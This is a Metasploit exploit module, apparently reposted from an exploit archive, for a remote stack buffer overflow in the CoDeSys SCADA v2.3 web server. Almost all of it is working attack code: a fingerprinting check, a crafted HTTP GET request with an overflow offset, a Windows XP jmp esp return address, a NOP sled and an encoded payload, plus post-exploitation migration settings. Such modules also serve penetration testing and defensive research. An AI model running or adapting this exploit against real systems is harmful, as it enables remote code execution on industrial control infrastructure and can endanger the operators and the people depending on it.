CoDeSys SCADA v2.3 Webserver Stack Buffer Overflow

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##
 
require 'msf/core'
 
class Metasploit3 < Msf::Exploit::Remote
    Rank = NormalRanking
 
    include Msf::Exploit::Remote::Tcp
 
    def initialize(info = {})
        super(update_info(info,
            'Name'            => 'CoDeSys SCADA v2.3 Webserver Stack Buffer Overflow',
            'Description'     => %q{
                This module exploits a remote stack buffer overflow vulnerability in
                3S-Smart Software Solutions product CoDeSys Scada Web Server Version 1.1.9.9.
            },
            'License'         => MSF_LICENSE,
            'Author'          =>
                [
                    'Celil UNUVER', # Original discovery and exploit
                    'TecR0c',       # Module Metasploit
                    'sinn3r'
                ],
            'References'      =>
                [
                    [ 'URL', 'http://www.exploit-db.com/exploits/18187/' ],
                    [ 'URL', 'http://www.us-cert.gov/control_systems/pdf/ICS-ALERT-11-336-01A.pdf' ]
                ],
            'DefaultOptions'  =>
                {
                    'EXITFUNC' => 'process',
                    'DisablePayloadHandler' => 'false',
                    'InitialAutoRunScript' => 'migrate -f'
                },
            'Platform'        => 'win',
            'Payload'         =>
                {
                    'size'     => 4000,
                    'BadChars' => "\x00\x09\x0a\x3f\x20\x23\x5e",
                },
 
            'Targets'         =>
                [
                    [
                        'Windows XP SP3',
                        {
                            'Ret'    => 0x7E4456F7,
                            'Offset' => 775
                        }
                    ], # jmp esp user32
                ],
            'Privileged'     => false,
            'DisclosureDate' => 'Dec 02 2011',
            'DefaultTarget'  => 0))
 
        register_options([Opt::RPORT(8080)], self.class)
    end
 
    def check
        connect
        sock.put("GET / HTTP/1.1\r\n\r\n")
        res = sock.get(-1, 3)
        disconnect
 
        # Can't flag the web server as vulnerable, because it doesn't
        # give us a version
        vprint_line(res)
        if res =~ /3S_WebServer/
            return Exploit::CheckCode::Detected
        else
            return Exploit::CheckCode::Safe
        end
    end
 
    def exploit
        connect
 
        buffer =  rand_text(target['Offset'])
        buffer << [target.ret].pack('V')
        buffer << make_nops(8)
        buffer << payload.encoded
 
        sploit = "GET /#{buffer} HTTP/1.0\r\n\r\n\r\n"
 
        print_status("Trying target #{target.name}...")
        sock.put(sploit)
        res = sock.recv(1024)
        print_line(res)
 
        handler
        disconnect
    end
end
 
=begin
target.ret verified on:
- Win XP SP3 unpatched
- Win XP SP3 fully-patched
- Win XP SP3 fully-patched with Office 2007 Ultimate SP2 installed
=end



#  0day.today [2018-03-05]  #